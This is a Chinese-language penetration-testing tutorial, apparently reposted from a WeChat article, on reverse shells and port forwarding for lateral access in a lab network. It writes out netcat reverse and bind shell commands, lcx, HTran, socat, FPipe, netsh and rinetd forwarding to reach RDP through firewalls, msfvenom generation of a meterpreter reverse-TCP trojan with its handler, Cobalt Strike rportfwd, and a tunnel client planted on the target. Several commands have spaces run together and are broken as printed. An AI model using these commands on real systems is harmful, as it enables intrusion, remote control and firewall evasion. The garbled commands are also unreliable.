本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
网络拓扑图如下:
1**、**nc
1.1 反向连接
攻击机:nc -lvp port
靶机 (windows):nc.exe -e cmd rhost rport
成功反弹 shell:
1.2 正向连接
靶机 (windows):nc.exe -l -p lport -e cmd.exe
攻击机:nc -nvv rhost rport
1.3 nc 的一些参数
-g< 网关 > 设置路由器跃程通信网关,最丢哦可设置 8 个。
-G< 指向器数目 > 设置来源路由指向器,其数值为 4 的倍数。
-h 在线帮助。
-i< 延迟秒数 > 设置时间间隔,以便传送信息及扫描通信端口。
-l 使用监听模式,管控传入的资料。
-n 直接使用 IP 地址,而不通过域名服务器。
-o< 输出文件 > 指定文件名称,把往来传输的数据以 16 进制字码倾倒成该文件保存。
-p< 通信端口 > 设置本地主机使用的通信端口。
-r 乱数指定本地与远端主机的通信端口。
-s< 来源位址 > 设置本地主机送出数据包的 IP 地址。
-u 使用 UDP 传输协议。
-v 显示指令执行过程。
-w< 超时秒数 > 设置等待连线的时间。
-z 使用 0 输入 / 输出模式,只在扫描通信端口时使用。
2**、**lcx
2.1 外网无法访问内网,内网可以访问外网。
靶机(windows):lcx.exe -slave rhost rport lhost lport
攻击机:./portmap -m 2 -p1 6666 -p2 5555
成功开启 3389 连接:
整个 lcx->portmap 的端口转发流程大致如下:
2.2 转发内网主机端口
lcx.exe -tran 6666 192.168.1.2 3389
我们使用靶机进行连接:
流程如下:
2.3 绕过防火墙
有时候由于防火墙的限制我们无法直接连接靶机的 3389 端口,所以我们可以利用 lcx 把 3389 端口转发到本机的其他端口。
靶机:lcx.exe -tran lport lhost lport
使用 kali 直接连接靶机的 52 端口:
3**、**netsh
使用 windows 自带的 netsh 配置规则也可达到和 lcx 一样的效果,但没有工具方便。建立转发规则:
netsh interfaceportproxyaddv4tov4listenport=6666 connect=3389connectaddress=192.168.1.2protocol=tcp
查看转发规则:
netsh interfaceportproxydump
删除转发规则:
netsh interfaceportproxydeletev4tov4listenport=7777
4**、**HTran
4.1 绕过防火墙
将本地 3389 端口转发到 7777 端口:Htran.exe -tran 7777 127.0.0.1 3389
使用 kali 成功连接:
4.2 将本地端口转发到服务器端口
靶机:Htran.exe -slave 192.168.111.128 6666127.0.0.1 3389
服务器:/portmap -m 2 -p1 6666 -p2 5555
成功访问 3389:
4.3 转发内网端口
4.3.1 方法一:
靶机:HTran.exe -tran 6666 192.168.1.2 3389
攻击机:rdesktop 192.168.111.132:6666
Htran 整体的使用和 lcx 差异不大
4.3.3 方法二(比较麻烦):
攻击机开启监听:HTran.exe -listen 7777 9999
靶机:HTran.exe -slave 192.168.111.1 7777127.0.0.1 3389
我们用 kali 连接攻击机的 9999 端口:rdesktop 192.168.111.1:9999
成功连接:
5**、**socat
5.1 转发内网端口
靶机:socat.exeTCP4-LISTEN:6666,reuseaddr,fork TCP:192.168.1.2:3389
使用 kali 成功连接:rdesktop 192.168.111.132:6666
6**、**FPipe
6.1 转发内网端口
靶机:FPipe.exe -l 6666 -r 3389 192.168.1.2
kali 成功连接:rdesktop 192.168.111.132:6666
7**、portfwd(**msf 自带)
7.1 使用 msf 生成一个木马
msfvenom -pwindows/meterpreter/reverse_tcp LHOST=192.168.111.128 LPORT=4444 -f exe >test.exe
7.2 msf 开启监听并上线
1、use exploit/multi/handler
2、set payload windows/meterpreter/reverse_tcp
3、set lhost 192.168.111.128
4、set lport 4444
5、exploit
成功让靶机上线:
7.3 使用 portfwd 将靶机的 3389 转发到本地 1234 端口
portfwdadd-l 1234 -r 192.168.111.132-p 3389
使用 kali 连接本地 1234 端口即可:
使用 portfwd list 命令来查看转发规则:
8**、**cs
8.1 梼杌插件拥有一个端口转发工具名为 iox**:**
iox 具体使用和 HTran 差不多
8.2 转发内网端口
rportfwd 8888 192.168.1.2 3389
rportfwd stop 8888
9**、**rinetd
vim /etc/rinetd.conf
编辑 rinetd.confg 文件内容为:0.0.0.0 2222 192.168.111.132 3389
即可将靶机的 3389 端口转发到本地 2222 端口
成功连接:
10**、**ngroc
在 ngroc 注册一个账号,然后开通隧道,有免费的。
远程端口按照提示随便填一个就可以,本地端口填自己想要转发的端口,以 3389 端口为例,我们隧道协议选择 tcp。
添加完成以后如下图所示,会有一个隧道 ID 和域名,我们下载 Ngroc 的客户端上传到靶机上:
靶机:sunny.exe clientid id
出现如下界面即转发成功:
然后我们直接用 kali 连接域名即可:rdesktop free.xxxx.com:10833
不知道为什么连接错误,不过大致的使用方法就是这样了。